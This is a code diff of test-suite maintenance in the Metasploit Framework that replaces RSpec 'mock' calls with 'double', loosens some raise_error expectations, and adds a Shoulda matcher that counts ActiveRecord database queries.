@namespace_module.stub(:parent_path=)
@namespace_module.stub(:module_eval_with_lexical_scope).with(module_content, module_path)
metasploit_class = mock('Metasploit Class', :parent => @namespace_module)
metasploit_class = double('Metasploit Class', :parent => @namespace_module)
@namespace_module.stub(:metasploit_class! => metasploit_class)
subject.stub(:namespace_module_transaction).and_yield(@namespace_module)
@ -574,7 +574,7 @@ describe Msf::Modules::Loader::Base do
context 'with metasploit_class' do
let(:metasploit_class) do
mock('Metasploit Class')
double('Metasploit Class')
end
before(:each) do
@ -727,7 +727,7 @@ describe Msf::Modules::Loader::Base do
anything
)
namespace_module = mock('Namespace Module')
namespace_module = double('Namespace Module')
namespace_module.stub(:loader=)
subject.stub(:current_module => namespace_module)
@ -743,7 +743,7 @@ describe Msf::Modules::Loader::Base do
anything
)
namespace_module = mock('Namespace Module')
namespace_module = double('Namespace Module')
namespace_module.stub(:loader=)
subject.stub(:current_module => namespace_module)
@ -759,7 +759,7 @@ describe Msf::Modules::Loader::Base do
described_class::NAMESPACE_MODULE_LINE - namespace_module_names.length
)
namespace_module = mock('Namespace Module')
namespace_module = double('Namespace Module')
namespace_module.stub(:loader=)
subject.stub(:current_module => namespace_module)
@ -767,7 +767,7 @@ describe Msf::Modules::Loader::Base do
end
it "should set the namespace_module's module loader to itself" do
namespace_module = mock('Namespace Module')
namespace_module = double('Namespace Module')
namespace_module.should_receive(:loader=).with(subject)
@ -1173,7 +1173,7 @@ describe Msf::Modules::Loader::Base do
# not defined on `nil`.
expect {
subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module)
}.to_not raise_error(NoMethodError)
}.to_not raise_error
end
context 'with namespace_module nil' do
@ -1292,7 +1292,7 @@ describe Msf::Modules::Loader::Base do
context '#usable?' do
context 'without metasploit_class responding to is_usable' do
it 'should return true' do
metasploit_class = mock('Metasploit Class')
metasploit_class = double('Metasploit Class')
metasploit_class.should_not respond_to(:is_usable)
subject.send(:usable?, metasploit_class).should be_true
@ -1303,7 +1303,7 @@ describe Msf::Modules::Loader::Base do
it 'should delegate to metasploit_class.is_usable' do
# not a proper return, but guarantees that delegation is actually happening
usability = 'maybe'
metasploit_class = mock('Metasploit Class', :is_usable => usability)
metasploit_class = double('Metasploit Class', :is_usable => usability)
subject.send(:usable?, metasploit_class).should == usability
end
@ -1314,7 +1314,7 @@ describe Msf::Modules::Loader::Base do
end
let(:metasploit_class) do
metasploit_class = mock('Metasploit Class')
metasploit_class = double('Metasploit Class')
metasploit_class.stub(:is_usable).and_raise(error)

View File

@ -10,7 +10,7 @@ describe Msf::Modules::Loader::Directory do
include_context 'Msf::Modules::Loader::Base'
let(:module_manager) do
mock('Module Manager')
double('Module Manager')
end
let(:module_path) do
@ -28,9 +28,9 @@ describe Msf::Modules::Loader::Directory do
context '#load_module' do
context 'with existent module_path' do
let(:framework) do
framework = mock('Msf::Framework', :datastore => {})
framework = double('Msf::Framework', :datastore => {})
events = mock('Events')
events = double('Events')
events.stub(:on_module_load)
events.stub(:on_module_created)
framework.stub(:events => events)

View File

@ -229,7 +229,7 @@ describe Msf::Modules::Namespace do
it 'should not raise an error' do
expect {
subject.version_compatible!(module_path, module_reference_name)
}.to_not raise_error(Msf::Modules::VersionCompatibilityError)
}.to_not raise_error
end
end
end

View File

@ -5,12 +5,12 @@ require 'msf/core/option_container'
describe Msf::OptionContainer do
it "should create new options for it's args" do
foo_inst = mock("foo_inst")
foo_inst = double("foo_inst")
foo_inst.stub(:advanced=)
foo_inst.stub(:evasion=)
foo_inst.stub(:owner=)
foo_class = mock("opt_class")
foo_class = double("opt_class")
foo_class.should_receive(:new).and_return(foo_inst)
foo_inst.should_receive(:name).and_return("thing")

View File

@ -158,7 +158,7 @@ describe Msf::DBManager do
let(:module_instance) do
name = 'multi/handler'
mock(
double(
'Msf::Module',
:fullname => "exploit/#{name}",
:framework => framework,
@ -268,7 +268,7 @@ describe Msf::DBManager do
context 'with workspace from either :workspace or session' do
it 'should pass normalized host from session as :host to #find_or_create_host' do
normalized_host = mock('Normalized Host')
normalized_host = double('Normalized Host')
db_manager.stub(:normalize_host).with(session).and_return(normalized_host)
# stub report_vuln so its use of find_or_create_host and normalize_host doesn't interfere.
db_manager.stub(:report_vuln)
@ -583,7 +583,7 @@ describe Msf::DBManager do
context 'without Msf::Session' do
let(:session) do
mock('Not a Msf::Session')
double('Not a Msf::Session')
end
it 'should raise ArgumentError' do

View File

@ -108,7 +108,7 @@ describe Rex::Proto::Http::Client do
end
it "should send creds after receiving a 401" do
conn = mock
conn = double
conn.stub(:put)
conn.stub(:shutdown)
conn.stub(:close)

View File

@ -0,0 +1,108 @@
module Shoulda # :nodoc:
module Matchers
module ActiveRecord # :nodoc:
# Ensures that the number of database queries is known. Rails 3.1 or greater is required.
#
# Options:
# * <tt>when_calling</tt> - Required, the name of the method to examine.
# * <tt>with</tt> - Used in conjunction with <tt>when_calling</tt> to pass parameters to the method to examine.
# * <tt>or_less</tt> - Pass if the database is queried no more than the number of times specified, as opposed to exactly that number of times.
#
# Examples:
# it { should query_the_database(4.times).when_calling(:complicated_counting_method)
# it { should query_the_database(4.times).or_less.when_calling(:generate_big_report)
# it { should_not query_the_database.when_calling(:cached_count)
#
def query_the_database(times = nil)
QueryTheDatabaseMatcher.new(times)
end
class QueryTheDatabaseMatcher # :nodoc:
def initialize(times)
@queries = []
@options = {}
if times.respond_to?(:count)
@options[:expected_query_count] = times.count
else
@options[:expected_query_count] = times
end
end
def when_calling(method_name)
@options[:method_name] = method_name
self
end
def with(*method_arguments)
@options[:method_arguments] = method_arguments
self
end
def or_less
@options[:expected_count_is_maximum] = true
self
end
def matches?(subject)
subscriber = ActiveSupport::Notifications.subscribe('sql.active_record') do |name, started, finished, id, payload|
@queries << payload unless filter_query(payload)
end
if @options[:method_arguments]
subject.send(@options[:method_name], *@options[:method_arguments])
else
subject.send(@options[:method_name])
end
ActiveSupport::Notifications.unsubscribe(subscriber)
if @options[:expected_count_is_maximum]
@queries.length <= @options[:expected_query_count]
elsif @options[:expected_query_count].present?
@queries.length == @options[:expected_query_count]
else
@queries.length > 0
end
end
def failure_message_for_should
if @options.key?(:expected_query_count)
"Expected ##{@options[:method_name]} to cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries
else
"Expected ##{@options[:method_name]} to query the database but it actually caused #{@queries.length} queries:" + friendly_queries
end
end
def failure_message_for_should_not
if @options[:expected_query_count]
"Expected ##{@options[:method_name]} to not cause #{@options[:expected_query_count]} database queries but it actually caused #{@queries.length} queries:" + friendly_queries
else
"Expected ##{@options[:method_name]} to not query the database but it actually caused #{@queries.length} queries:" + friendly_queries
end
end
private
def friendly_queries
@queries.map do |query|
"\n (#{query[:name]}) #{query[:sql]}"
end.join
end
def filter_query(query)
query[:name] == 'SCHEMA' || looks_like_schema?(query[:sql])
end
def schema_terms
['FROM sqlite_master', 'PRAGMA', 'SHOW TABLES', 'SHOW KEYS FROM', 'SHOW FIELDS FROM', 'begin transaction', 'commit transaction']
end
def looks_like_schema?(sql)
schema_terms.any? { |term| sql.include?(term) }
end
end
end
end
end

View File

@ -1,6 +1,6 @@
shared_context 'Msf::UIDriver' do
let(:driver) do
mock(
double(
'Driver',
:framework => framework
).tap { |driver|

View File

@ -319,7 +319,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do
context 'with :workspace' do
let(:workspace) do
mock(':workspace')
double(':workspace')
end
before(:each) do
@ -469,7 +469,7 @@ shared_examples_for 'Msf::DBManager::ImportMsfXml' do
context 'specialization block' do
let(:returned_hash) do
{
:specialized => mock('Value')
:specialized => double('Value')
}
end

View File

@ -21,7 +21,7 @@ shared_examples_for 'Msf::DBManager::Migration' do
end
it 'should return migrations that were ran from ActiveRecord::Migrator.migrate' do
migrations = [mock('Migration 1')]
migrations = [double('Migration 1')]
ActiveRecord::Migrator.stub(:migrate => migrations)
migrate.should == migrations
@ -128,7 +128,7 @@ shared_examples_for 'Msf::DBManager::Migration' do
descendants = []
1.upto(2) do |i|
descendants << mock("Descendant #{i}")
descendants << double("Descendant #{i}")
end
ActiveRecord::Base.stub(:descendants => descendants)

View File

@ -73,11 +73,11 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
end
let(:class_or_module) do
mock('Class<Msf::Module> or Module', :parent => namespace_module)
double('Class<Msf::Module> or Module', :parent => namespace_module)
end
let(:namespace_module) do
mock('Msf::Modules::Namespace', :parent_path => parent_path)
double('Msf::Modules::Namespace', :parent_path => parent_path)
end
context 'with existing :path' do
@ -435,7 +435,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
context 'with reference_name' do
before(:each) do
typed_module_set[reference_name] = mock('Msf::Module')
typed_module_set[reference_name] = double('Msf::Module')
end
it 'should not change reference_name value' do
@ -469,7 +469,7 @@ shared_examples_for 'Msf::ModuleManager::Cache' do
it 'should reset #module_info_by_path' do
# pre-fill module_info_by_path so change can be detected
module_manager.send(:module_info_by_path=, mock('In-memory Cache'))
module_manager.send(:module_info_by_path=, double('In-memory Cache'))
module_info_by_path_from_database!

View File

@ -91,7 +91,7 @@ shared_examples_for 'Msf::ModuleManager::Loading' do
end
let(:namespace_module) do
mock('Namespace Module', :parent_path => parent_path)
double('Namespace Module', :parent_path => parent_path)
end
let(:options) do